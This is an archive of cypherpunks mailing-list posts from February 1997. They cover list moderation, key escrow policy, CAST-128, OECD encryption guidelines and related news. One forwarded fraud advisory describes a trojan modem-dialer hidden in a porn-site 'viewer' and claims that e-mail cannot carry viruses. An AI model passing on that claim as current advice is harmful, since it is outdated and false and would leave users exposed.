From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Against Moderation <antimod@nym.alias.net>
Date: Tue, 4 Feb 1997 23:27:33 -0800 (PST)
To: Secret Squirrel <nobody@squirrel.owl.de>
Subject: Re: Are cypher punks capable?
Message-ID: <199702050727.XAA18145@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Secret Squirrel <nobody@squirrel.owl.de> writes:

> Against Moderation wrote:
> > In general, unsubscribing and resubscribing to a mailing list is not
> > completely trivial.
> 
> Do you think that a cypher punk is not able to solve these problems?

Read the rest of my message.  I never said it wasn't pussible, it's
just a question of how much effort I want to put in (which at this
point, being roughly proportionaly to the quality of articles on
cypherpunks, is close to zero).

Whatever the difficulty or ease of fixing my mail filter, however, the
fact that I haven't done it yet should not be counted as a vote in
favor of moderation.  This is what I am objecting to in John's
article.

John, if you are seriously interested in input from list members, then
I have a proposal that I think is only fair.

Why don't you create a new mailing list called cypherpunks-edited,
which receives exactly the same filtered content as the current
"cypherpunks@toad.com" list.  Then encourage people to move from
cypherpunks to either the -edited or -unedited lists to express their
desires for the future of the list.

In a another month, compare the subsription lists of the 3 lists.  If
there are considerably more subscribers to cypherpunks-edited than
cypherpunks-unedited, then you can reasonably claim that a lot of list
members want to see the list filtered.  However, if, as I suspect, the
number of people subscribing to the -edited and -unedited lists is
statistically insignificant next to the people on the main cypherpunks
list, then subscription counts are not a valid metric for judging the
desires of list members.

Of course, in the mean time I would like to see cypherpunks revert to
an unmoderated list, but I'm not going to push my luck.  I'd already
be happe just to see the creation of a cypherpunks-edited list.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Tue, 4 Feb 1997 23:42:59 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: My Departure, Moderation, and "Ownership of the List"
Message-ID: <199702050742.XAA18657@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Just to add my $.02 to the me too pile:
It should be noted that the subscription from netbb+internet.
cypherpunks@andrew.cmu.edu is a mail<->news gateway for Carnegie
Mellon University people. It represents maybe 10-50 cypherpunks
readers. I used to read cypherpunks from there, but I see some kind
soul has subscribed CMU to the unedited list, so I will read that
instead. My killfile is just enough censorship for me.

On the choke points note, mailing lists are better than usenet because
legendary AOLers with there 5 free hours of fame and their ilk usually
don't figure out how to pester mailing lists. Being on a mailing list
usually requires a commitment, that is enough of a barrier for many of
the usenet underirables.

Waiting for the end of moderation,
Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole

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-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Campbell <wcampbel@peganet.com>
Date: Tue, 4 Feb 1997 23:41:20 -0800 (PST)
To: Steve Schear <azur@netcom.com>
Subject: Re: GAK/KR spin
Message-ID: <199702050741.XAA18605@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Steve Schear said:

>Several months back there were discussions on the list regarding renaming
>the government's key escrow/recovery proposals (KRAP comes to mind).  I
>think we need something that's catchy and simple (perhaps already familiar)
>to understand for the semi-litterate citizen units.  I propose we encourage
>use of the terms "crippleware" or "crypto crippleware" when refering to the
>products limited to their weak crypto and/or key escrow/recovery.

Another point on all this that was made by Matt Blaze at the RSA
conference (and that I have been making to all my friends) is that Crypto
is basically a "solved" problem. The government's efforts to impose
GAK is in effect transposing a "solved" problem into an "unsolved"
problem - due to the inherent problems with any conceivable
GAK "solution". I thought this was a very good case against GAK.

=Bill=








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bjorn Asman <Bjorn.Asman.Info-Design@tripnet.se>
Date: Tue, 4 Feb 1997 23:26:01 -0800 (PST)
To: cypherpunks@toad.com
Subject: bye.bye
Message-ID: <199702050726.XAA18051@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I have to agree that Mr. Tim C May have a big point. Even if i didn't 
like all the things Mr. May wrote so could i read it, and that is the 
point i think Mr. Sandford missed. That is to have a list that is a 
"living" list. You have to have all the people giving their chanche 
to say what tehy like even if they dont are "mentaly healthy".I have 
one more thing to "say". Namely to say bye.bye. 
to this list. I have never posted to this list, i have only read it, 
because i like the freedom in it (free speech and so on), but if i 
have to change my subscription to unedit-cypherpunks just to "hear" 
the freedom of speech, i rather just say no and unsubscribe.
bye.bye
bjorn.asman@infodesign.se.org
Roerstrandsgatan 7a
41703.Goeteborg
Phone +46-(0)31-221056
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
The subjects are cyborg, nature is coyote, 
and the geography is Elsewhere
-Donna Haraway
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 5 Feb 1997 07:27:52 -0800 (PST)
To: Rick Osborne <osborne@gateway.grumman.com>
Subject: Re: Silly Americans
Message-ID: <199702051527.HAA28821@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:37 PM 2/4/97 -0500, Rick Osborne wrote:
>The original poster was talking about the UniSys GIF
>patent, and this was the reply:
>
>>Broaden your view. I can do anything I want with the GIF format 
>>without asking _anyone_, and so can almost everyone in the world -
>> except those poor americans who chose to live under a "broken" 
>>patent law which allows protecting _algorithms_. Totally silly.

Not true, of course - other countries also have broken patent
laws that permit patenting algorithms.  For instance, IDEA is patented
in places besides the US.  The differences in the US are that
perhaps our patent people became stupid earlier, and that US patent
law allows you to apply for a patent up to one year after publishing,
while European patent laws don't let you patent anything that's
been disclosed to the public.

>a philosophical note, why *do* we allow the government to regulate
>algorithms?  (Implementations, I can understand, but *algorithms*?)

Because they're bigger than we are and better-armed?
Because there's lots of money to be made by people patenting things?
Because big companies can use it to interfere with competition?
Because it's good for the economy because it encourages inventors
	of algorithms to publish them and make money by doing so?

(I'll take the first three of those arguments :-)

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anil Das <das@sgi.com>
Date: Wed, 5 Feb 1997 07:25:52 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: AltaVista Tunnel
Message-ID: <199702051525.HAA28716@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Rick Osborne wrote:
> 
> He triumphantly exclaimed that the encryption was 128-bit, but when
> I said "128-bit what?" he cowered and muttered that he didn't know and went
> on with his little speech.  The rest of my crypto-specific questions met
> with equal dark stares.  And these are the people setting industry standards...

I should be happy that you are bashing a competitor and all, but give
them a break, OK? The marketing dweeb who has to do product pitches
on roadshows is not the same as the design engineer who designs the
system and sets technical standards. There can be a big difference in
technical knowledge about the product, and even basic competency,
between the two.

-- 
Anil Das





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Peter Gutmann <pgut001@cs.auckland.ac.nz>
Date: Tue, 4 Feb 1997 13:59:22 -0800 (PST)
To: cryptography@c2.net
Subject: Re: CAST
Message-ID: <199702042159.NAA06314@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I've just had mail from Carlisle Adams in response to my question about the 
status of CAST-128:
 
>CAST-128 is available free for commercial and non-commercial use.  This
>has been stated publicly in a press release from Entrust Technologies
>(see http://www.entrust.com/press.htm for details).  The cipher
>itself is described in complete detail, along with test vectors, etc.,
>at the same web site (see the "Technical Papers" section of
>http://www.entrust.com/library.htm).
>
>Feel free to post this response wherever you think it appropriate.
>
>--------------------------------------
>Carlisle Adams
>Entrust Technologies
>cadams@entrust.com
>---------------------------------------
 
The algorithm is well worth looking at (see the URL above) - it's a nice 
royalty-free drop-in replacement for IDEA for example.  I've had a version 
half-finished for inclusion in cryptlib for a few months now, but something 
else always seems to crop up...
 
Peter.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert Rothenburg 'Walking-Owl'" <WlkngOwl@unix.asb.com>
Date: Wed, 5 Feb 1997 07:28:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: Letter Re: Kahn Supporting GAK
Message-ID: <199702051528.HAA28822@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

My letter to Long Island Newsday regarding David Kahn's pro-GAK
editorial was published today. You can read it at

    http://www.newsday.com/mainnews/rnmi052u.htm

What's odd (?) is how they editied it. I directed my comments toward
Mr. Kahn's views, which they changed to "Newsday" (odd, since I've
never seen them print an editorial one way or another on GAK; does
this mean they are taking a stand? -- Kahn is an editor at Newsday).

I wrote "The greatest flaw in the argument is it's very reason,
'criminals... are increasingly using encryption to conceal their plans
and activities'" which they changed to "It reports...". I never
considered an op-ed piece as "reporting", even if it states a fact.

The following paragraph

  There are also a variety of technical problems associated with
  escrowing encryption keys, mainly, how to do so securely? A single
  `backdoor key' (or set of keys) for a popular product can become an
  easy target for crackers who can jeopardize the security of an
  entire system. Software can be easily hacked to disable or damage
  the key escrow features, and there are techniques to hide even the
  presence of a message in something innocuous as a digitized image.
  (Mr. Kahn seems to have forgotten to mention that the FBI not only
  wants to overhear cellular phone conversations but also read E-mail
  and any other encrypted files people have.)

was changed to just

   There are also several technical problems associated with escrowing
   encryption keys, mainly, how  to do so securely. 

They did leave the last two paragraphs relatively intact, though.

Yeah, yeah... the piece could have been much longer & detailed, but
it's only a letter to the editor...

- --Rob

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-----
"The word to kill ain't dirty     | Robert Rothenburg (WlkngOwl@unix.asb.com)
 I used it in the last line       | http://www.asb.com/usr/wlkngowl/
 but use a short word for lovin'  | Se habla PGP:  Reply with the subject
 and dad you wind up doin' time." | 'send pgp-key' for my public key.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Wed, 5 Feb 1997 07:55:46 -0800 (PST)
To: Anil Das <das@sgi.com>
Subject: Re: AltaVista Tunnel
Message-ID: <199702051555.HAA29347@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Anil Das wrote:
> Rick Osborne wrote:
> > He triumphantly exclaimed that the encryption was 128-bit, but when
> > I said "128-bit what?" he cowered and muttered that he didn't know and went
> > on with his little speech.  The rest of my crypto-specific questions met
> > with equal dark stares.  And these are the people setting industry standards...

> I should be happy that you are bashing a competitor and all, but give
> them a break, OK? The marketing dweeb who has to do product pitches
> on roadshows is not the same as the design engineer who designs the
> system and sets technical standards. There can be a big difference in
> technical knowledge about the product, and even basic competency,
> between the two.

HP in their first 17 years of making personal computers always sent
real engineers along with salespeople to their product rollouts.

Starting in late 1983 with their first MS-DOS computer, they did a
180-degree and eliminated the engineers, and started sending people
who knew nothing about HP products, which is bad in the sense that
some folks wanted to know "Why should I buy HP when I can get the
real thing, i.e. IBM"?  As a sales manager, I always had a hard time
with that one.  I blame HP in retrospect, for a moron mentality in
their marketing department.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Huge Cajones Remailer <nobody@huge.cajones.com>
Date: Wed, 5 Feb 1997 08:59:17 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199702051659.IAA00921@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



IDEA vs DES vs Blowfish vs RSAREF
Which of these symmetric algorithms are the hardest to break and what are their characteristics.


//Anon






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Wed, 5 Feb 1997 07:26:31 -0800 (PST)
To: cypherpunks@toad.com
Subject: OECD Waffles
Message-ID: <199702051526.HAA28804@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


2-4-97. Reuters:

Global group fails to endorse Clinton encryption plan 

Washington: An influential economic research group is preparing 
guidelines on computer encryption for its member countries but 
will duck some of the most contentious issues involved, according 
to a draft obtained by Reuters.

The Clinton administration, seeking to rally support for its 
controversial policy on exporting encryption products -- which 
encode and decode e-mail and other computerized messages -- failed 
to win an endorsement from the Organisation for Economic Cooperation 
and Development (OECD), although the group did discuss the
administration's approach.

On perhaps the most difficult issue, the draft guidelines do not 
favour or oppose a requirement in the U.S. policy that data-scrambling 
encryption programmes provide a way for law enforcement officials to 
obtain keys to crack the codes when necessary.

After indicating that governments should carefully weigh the costs and 
benefits of imposing so-called key recovery, the draft report said, 
"this principle should not be interpreted as implying that governments 
should, or should not, initiate legislation that would allow lawful 
access."

On all the controversial areas in the draft, "the member countries of 
the OECD have strongly held views but they don't always coincide," 
John Dryden, head of the group's Information, Computer and Communications 
Policy division, said in a telephone interview from Paris.

Some countries see widespread use of encryption as a way to protect the 
privacy of computer users and businesses, thereby encouraging global 
commerce, Dryden said. But others see encryption as possibly thwarting 
law enforcement's efforts to catch riminals and global terrorists, he 
said.

The guidelines suggest encryption users should have access to products 
that meet their needs. Government controls should be "no more than are 
essential to the discharge of government responsibilities."

Instead of reconciling the different views, the draft guidelines lay out 
competing interests and approaches.

"It's not in itself a cryptography policy and it's not an attempt to 
draft a model national law that we're encouraging people to adopt," 
Dryden said. Cryptography refers to products and systems used in 
encryption.

The guidelines also suggest encryption standards and usage should be 
"determined by the market in an open and competitive environment."

"There's a strong view that the private sector should have the 
possibility to use information networks to the best of their potential 
in order to create growth and jobs," Dryden said.

U.S. officials who have seen the preliminary draft praised the guidelines. 
"They're an important and helpful step forward," Undersecretary of 
Commerce William Reinsch said.

"They're helpful because they put down on paper the proper foundation for 
getting into this," he added.

Reinsch said most countries will follow the U.S. lead and require 
so-called key recovery features for law enforcement. Under the Clinton 
policy, domestic use of encryption is not regulated but the strongest 
coding products cannot be exported unless they include key recovery.

U.S. companies that have opposed the Clinton policy, contending it stifles 
their ability to compete with unfettered foreign firms, drew little solace 
from the draft guidelines.

"This is not helpful," said Netscape Communications Corp.'s public policy 
counsel, Peter Harter. Netscape and other companies preferred stronger 
language endorsing free-market policies, he said.

The draft guidelines, approved by a group of government and private-sector 
experts at a meeting at the end of January, still must be approved by a 
top-level OECD officials from the group's 29 member countries, including 
the United States.

----- 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Peter Hendrickson <pdh@best.com>
Date: Wed, 5 Feb 1997 09:01:36 -0800 (PST)
To: Greg Broiles <cypherpunks@toad.com
Subject: Re: Cypherpunks FOIA request
Message-ID: <199702051701.JAA00977@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:40 AM 2/5/1997, Greg Broiles wrote:
> On 1/18/97, I sent freedom of information act requests to the FBI (main and
> San Francisco offices), CIA, NSA, and Secret Service, asking them for copies
> of information in their files relating to or referring to the cypherpunks
> list, the cypherpunks meetings, and copies of any messages sent from or to
> "cypherpunks@toad.com".

> To date, I have received three responses: one from the SF office of the FBI,
> indicating that they have no records responsive to my request; one from the
> NSA, indicating that they are processing my request, and one from the Secret
> Service, asking for a copy of my signature. (I've got no clue why they want
> that; unless I screwed up, I believe my initial request was signed.)

Have these organizations been known to lie?  What penalties does
the organization or its employees face when they do so?  Have these
penalties ever been applied?

Also, which exceptions in the FOIA law would allow them to respond
dishonestly?

Inquiring minds want to know!

Peter Hendrickson
pdh@best.com







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Wed, 5 Feb 1997 07:26:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: 'Total Recall' Come True!
Message-ID: <199702051526.HAA28803@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Major Organizations Are Experimenting With Computer Chip Implants in
Humans, According to EE Times Special Report

Manhasset, N.Y., Feb. 4 -- The implantation of computer chips into 
humans and animals is now actively being funded, researched and 
experimented by major institutions such as Stanford University, 
British Telecom, the National Institute of Health (NIH) and major 
corporations, according to the first of a two-part special report 
published by EE Times (http://www.eet.com). Although the work is 
drawing fire from civil libertarians and conspiracy theorists, among 
others, many scientists and physicians defend the work for its 
potential to ease suffering.

"It's 'Total Recall' come true! Our in-depth look into this state-of-
the- art research reveals that the mix of electrical engineering and 
medical technologies to surgically implant computer chip-driven devices 
is here today -- a micro chip implant is simply one step beyond a 
pacemaker," said EE Times Internet Editor Larry Lange.

According to the EE Times report, Mitsubishi Electric Corp. (Tokyo) 
recently developed a low-cost input device that can recognize human 
movement and convert it to commands for use in software applications. 
This device is expected to find its way into tools used by people with 
disabilities. On other fronts, the semiconductor research lab at 
Motorola Inc. is working on body-embedded electronic blood-sensors that 
may one day allow diabetics to measure their blood sugar levels without 
ever drawing a drop of blood.

The special report, appearing in next week issue in print and online, 
looks at additional areas of research and the differing reactions to it.

-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 5 Feb 1997 07:28:09 -0800 (PST)
To: cypherpunks@toad.com
Subject: NFIC Warning About Sexygirls web site
Message-ID: <199702051528.HAA28823@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I had to laugh when I read this...

Cheers,
Bob Hettinga

--- begin forwarded text


X-Sender: themet@pop.mindspring.com
Mime-Version: 1.0
Date: Wed, 5 Feb 1997 01:50:36 -0800
To: fraudnews@silverquick.com
From: Mark Taylor <themet@mindspring.com>
Subject: NFIC Warning About Sexygirls web site
Reply to: Mark Taylor <themet@mindspring.com>


Here is an interesting twist on how some crafty scamsters can
rack up money on your phone bill
===========
National Fraud Information Center

Monday, February 4, 1997

PORNO SURPRISE

Consumers who visited a pornographic website
(www.sexygirls.com) last month got a big surprise on their
phone bills. After a few teaser pictures, surfer was told
he/she needed to download a special program to view the
archived images. That program was actually a viewer with an
entire communications suite hidden deep inside (a non-self
propogating
Trojan Horse). The program disconnected user from his/her ISPs,
shut off the volume on the modem if it was computer controlled,
and dialed a number in Moldova -- a small, former republic of
the Soviet Union wedged in between the Ukraine and Romania. All
the while the consumer was on the website, and even if he/she
then browsed other sites on the World Wide Web, the Internet
access was being provided through the Moldova number, resulting
in huge international phone charges! Consumers didn't know that
until their phone bills arrived. According to the Toronto Star
Business Reporter, there are Canadian reports of bills into the
thousands.

The Toronto star also reports that the Royal Canadian Mounted
Police has requested all calls from Canada to that number in
Moldova be blocked. Bell Canada is attempting to provide relief
for Canadian consumers.

US consumers should contact their long distance providers if
they find these unexpected charges on their bill.

The RCMP has also required the owners of sexygirls.com to place
a disclaimer on the site, alerting consumers to the presence of
the communications software in the viewer. The disclaimer also
tells consumers how to disconnect if they do not wish to use
the server in Moldava.

In November, Internet Fraud Watch warned consumers concerning
the possible dangers of downloading programs over the Internet.
Some tips:

       Don't download unnecessary items. If it's just a piece
of razzle-dazzle, don't bother. It will only take up space on
your hard drive and perform no useful function. If there's no
gain for you from the program, there's no reason to take a
risk.

       Only download from sites you know and trust. While even
a major corporations site can sometimes have a viral
infection, a lone programmer might be using an attractive piece
of code as a delivery vehicle for his pet virus.

       Don't download material directly onto a computer network
at work. First download it onto a stand alone PC. Test  it out.
Make sure it doesn't have any malicious side-effects. Check
that machine for known viruses. Only at that point should you
install the downloaded program on a networked machine.

       If you feel you must download files, keep track of what
files you have on your system and what files are created during
a program installation. That way you can easily uninstall any
program if you find it to be undesirable. This also helps in
detecting new installed files that aren't supposed to be there.

Remember, your main worry is an executable file (i.e. a program
or application). Despite what you hear all over the Internet,
you cannot get a virus from a piece of e-mail.

If you are having a problem with calls to Moldova, the
connection will only be made if you attempt to use the viewer.
If you try to use the viewer, shut down your machine after you
are finished at that site. If you wish to remove the viewer
altogether, the file name is david.exe (for IBM users). If you
are in Windows, it should be in your program folder.



	FraudNews is owned and published by :
	Mark Taylor: themet@mindspring.com

All material published is copyright.It must not be reproduced
in any form without the express permission of of the owner.

=============================================================
This Newsletter is broadcast using the List and Newsletter
Management facilities of Silverquick Communications
You may subscribe to FraudNews and the Fraud-Discuss lists on
the web pages at : http://www.silverquick.com
=============================================================

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Daniel R. Oelke" <doelke@rockdal.aud.alcatel.com>
Date: Wed, 5 Feb 1997 07:55:53 -0800 (PST)
To: azur@netcom.com
Subject: Re: BA Crypto Machine Photos
Message-ID: <199702051555.HAA29358@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


> 
> >BTW, does anyone know the meaning of 'order wire mode' in the context of a
> >crypto broadcast? This mode is found in the KWR-37 online crypto
> >receiver. Please send all photo requests or responses via private E-mail.
> 
> If it means the same thing as in the telecom industry, its an out-of-band
> (often analof) channel between two locations connected by wide-band (e.g.,
> T1) facilities.  Its primary purpose is to provide service personnel, at
> each end point, the ability to converse with one another while performing
> work on that link.
> 

I would also guess it might be something similar to the orderwire in
the telecom industry.  I am more familiar with digital orderwire systems,
but orderwires are generally all similar.  You have a communications 
link, and some overhead on that link is dedicated to providing 
a voice channel for communications between sites so that people
working on the line can communicate with each other.

In a crypto system - I could see that the orderwire might be a
in-the-clear transmission as part of the overhead so that people at 
each end of a hop can figure out why the data (i.e. encrypted) portion
isn't getting through.

Dan
------------------------------------------------------------------
Dan Oelke                                  Alcatel Network Systems
droelke@aud.alcatel.com                             Richardson, TX






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Wed, 5 Feb 1997 11:39:30 -0800 (PST)
To: jim bell <jimbell@pacifier.com>
Subject: ITAR and Paper ROM
Message-ID: <199702051939.LAA03422@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>Given that high-density inkjet printers can do 600x600 dpi resolution, it
>should be possible to achieve the equivalent of 100x100 bpi of
>easily-recoverable data on ordinary paper.  That's about 800 kilobits, or
>100 kilobytes.   What does ITAR say about this?
>
>
>Jim Bell
>jimbell@pacifier.com

I'm not sure if what I did in the 80s, trying to create what I called
'paper ROM, is applicable.  In these investigations I used matricies of
small (1-3 mm) squares of gray (16 levels) or color (64 levels) with a mind
to replace diskettes for inexpensive mass data distribution.  I was able to
reliably get 100-200 KB/page side using standard offset printing.  With
modern ink-jet/laser printers you should be able to reliably get at least
10-50KB/page side. Although a technical success, I abandoned the effort
when I discovered someone had patented (4,488,679) something similar a few
years earlier.

-- Steve







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jason Vagner <jlv@sig.bsh.com>
Date: Wed, 5 Feb 1997 07:55:58 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Moderation, Tim, Sandy, me, etc. * Strong crypto == DES?!
Message-ID: <199702051555.HAA29366@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



   >Re: the below.  Easily the best and most intelligent suggestion so
   >far.  Why couldn't Sandy and John with all their experience think
   >of this?

Actually, I've been sitting on the sidelines, somewhat bemused, that
this far into online living the cypherpunks have to rehash this
themselves. I've seen this entire exchange at least three times in
the last two years. None of the lists survived. Good luck..

   >> If I might make a suggestion:
   >> Some people want moderation. That's fine, I've never been very big on
   >> letting other people choose what I read, but some people want it.
   >> For those who want it, let someone moderate the list for as long as
   >> they care to do it. Approved messages get a "X-sandy-approved"
   >> header. The responsibility for setting up a filter to toss everything
   >> that doesn't have the header is the responsibility of the end user.
   >> Toad will need to filter incoming posts to make sure they don't come
   >> "pre-approved", but that's the only hole I can think of.
   >> Everyone gets all of the Cypherpunks list. Those who want moderation
   >> filter the unapproved posts, those who want all of it get all of it.
   >> Hopefully, this will make (almost) everyone happy.

---

  Jason Vagner <jlv@sig.bsh.com> Resist KRAP and GAK. Police States 
  Are Bad. "All that one can give is what is going to happen, which may 
  have little to do with a present that you can grasp." - Avital Ronell.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anil Das <das@sgi.com>
Date: Wed, 5 Feb 1997 11:39:15 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: "alt.cypherpunks" people?
Message-ID: <199702051939.LAA03414@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:
> 
> Learn to use an anonymous remailer.

Thanks for the hint, Dr. Vulis. I have registered for a course, but
seats are available only in fall.

-- 
Anil Das





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Marshall Clow <mclow@owl.csusm.edu>
Date: Wed, 5 Feb 1997 11:41:02 -0800 (PST)
To: John Young <jya@pipeline.com>
Subject: Re: OECD Waffles
Message-ID: <199702051941.LAA03449@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>2-4-97. Reuters:
>
>Global group fails to endorse Clinton encryption plan
>
>Washington: An influential economic research group is preparing
>guidelines on computer encryption for its member countries but
>will duck some of the most contentious issues involved, according
>to a draft obtained by Reuters.
>
[snip]

Gee, that's funny....

I could have sworn I heard the Hon. Abassador Aaron tell us last week
that the US had "strong international support" for its' key
recovery programs, especially from the OECD.

Here's a quote from an earlier Reuters article:

>   Wednesday January 29 3:26 PM EST
>
>U.S. Encryption Envoy Seeks Industry Cooperation
>
>   SAN FRANCISCO - The Clinton administration's newly named point man on
>   encryption policy is citing international support for U.S. policies
>   limiting use of encryption and called for industry cooperation.
>
>   Ambassador David Aaron, special envoy for cryptography, said on a
>   speech to the RSA Data Security Conference in San Francisco that U.S.
>   allies support the concept of lawful access by governments and the use
>   of key recovery mechanisms.


and a quote from the NY Times:

>The New York Times, January 29, 1997, p. D19.
>
>
> Consensus Sought on Computer Coding
>
> By John Markoff
>
> San Francisco -- The Clinton administration's top overseas representative
> on cryptography -- or data scrambling -- told a group of skeptical
> computer industry executives and technical experts Tuesday that important
> allies support the administration's position that governments should have
> access-coded computer files and digital communications.
>
> The speech by David L. Aaron, made on the opening day of a computer
> security conference, was part of a renewed effort by the administration
> to gain broad support for its efforts to control data-scrambling
> technologies, which are increasingly viewed as crucial components of
> electronic commerce and communications.

I am shocked, SHOCKED, I say, that a representative of our government
would mislead us in this way.

-- Marshall

Marshall Clow     Aladdin Systems   <mailto:mclow@mailhost2.csusm.edu>

Warning: Objects in calendar are closer than they appear.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Date: Wed, 5 Feb 1997 09:25:12 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: If guilty of a lesser crime, you can be sentenced for a greater
Message-ID: <199702051725.JAA01456@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn <dthorn@gte.net> writes:

> Igor Chudov @ home wrote:
> > Dale Thorn wrote:
> > > Igor Chudov @ home wrote:
> 
> > > people who have such money are not going to bump off very many more
> > > people than they already do, because:
> > > 1. They need the people to make money off of (Mafia rule #4, never
> > >    kill someone who owes you money [or is a money source]).
> 
> > This is a wrong Mafia rule, they do kill debtors who are in default.
> 
> Really?  Then how do they collect their money?  BTW, I heard the rule
> from the mouth of a real mob hitman.
mafia used to have a habit of hiring some lonely person do do work for them
(such as, set up their crypto infrastructure), then make him disappear, and he
won' be missed, and they won't have to pay for the work.  Bumping off the people
that you owe money to is bad for one's rep. I'd be reluctant to do consulting
for organized crime for this reason. Perhaps that's why the Feds have such easy
time wiretapping them. :-)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Date: Wed, 5 Feb 1997 09:01:25 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: "alt.cypherpunks" people?
Message-ID: <199702051701.JAA00962@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Anil Das <das@sgi.com> writes:

> Adam Back wrote:
> > 
> > What do people think of starting an alt.cypherpunks USENET newsgroup?
> > 
> 
> I have only one objection. I will never post to an Usenet group
> under my real email address for fear of ending up in spammer
> databases.
> 
> -- 
> Anil Das
> 

Learn to use an anonymous remailer.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Marshall Clow <mclow@owl.csusm.edu>
Date: Wed, 5 Feb 1997 12:02:55 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Deloitte-Touche?
Message-ID: <199702052002.MAA03703@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Several people wrote:
>I wrote:
>>ObCrypto policy:
>>        Was anyone else besides me amazed by the guy
>>from Deloitte-Touche at the Internet Privacy Coalition luncheon
>>last week? I mean, he all but advocated violent overthrow of
>>the government. [...]
>
>For the benefit of those of us who were not at this luncheon (probably
>not even in the same country), could you please say more about this,
>Marshall?  What was the subject?  What _did_ the DT speaker say, exactly?
>
After a while, I stopped taking notes, because I was so astounded at
what he was saying.
(Maybe someone with more complete notes could post a better summary)

But, here a brief overview of the luncheon:

Last Wednesday, January 29th, the Internet Privacy Coalition had
a "policy lunch" in San Francisco. It was in one of the hotels hosting
the RSA conference, and at the same time that the conference was
breaking for lunch, so it was easy for attendees to "switch lunches".

The speakers (as I remember, apologies to any I miss) were:
	Whit Diffie
	John Gilmore
	Kenneth Bass (counsel in Karn vs. Dept of State)
	Herb Lin (who ran the NRC staff for the crypto study)
	Marc Rotenberg
	William Hugh Murray (Deloitte & Touche)
	and a couple others that I missed, as I left early.

Mr. Murray gave a long, impassioned speech.

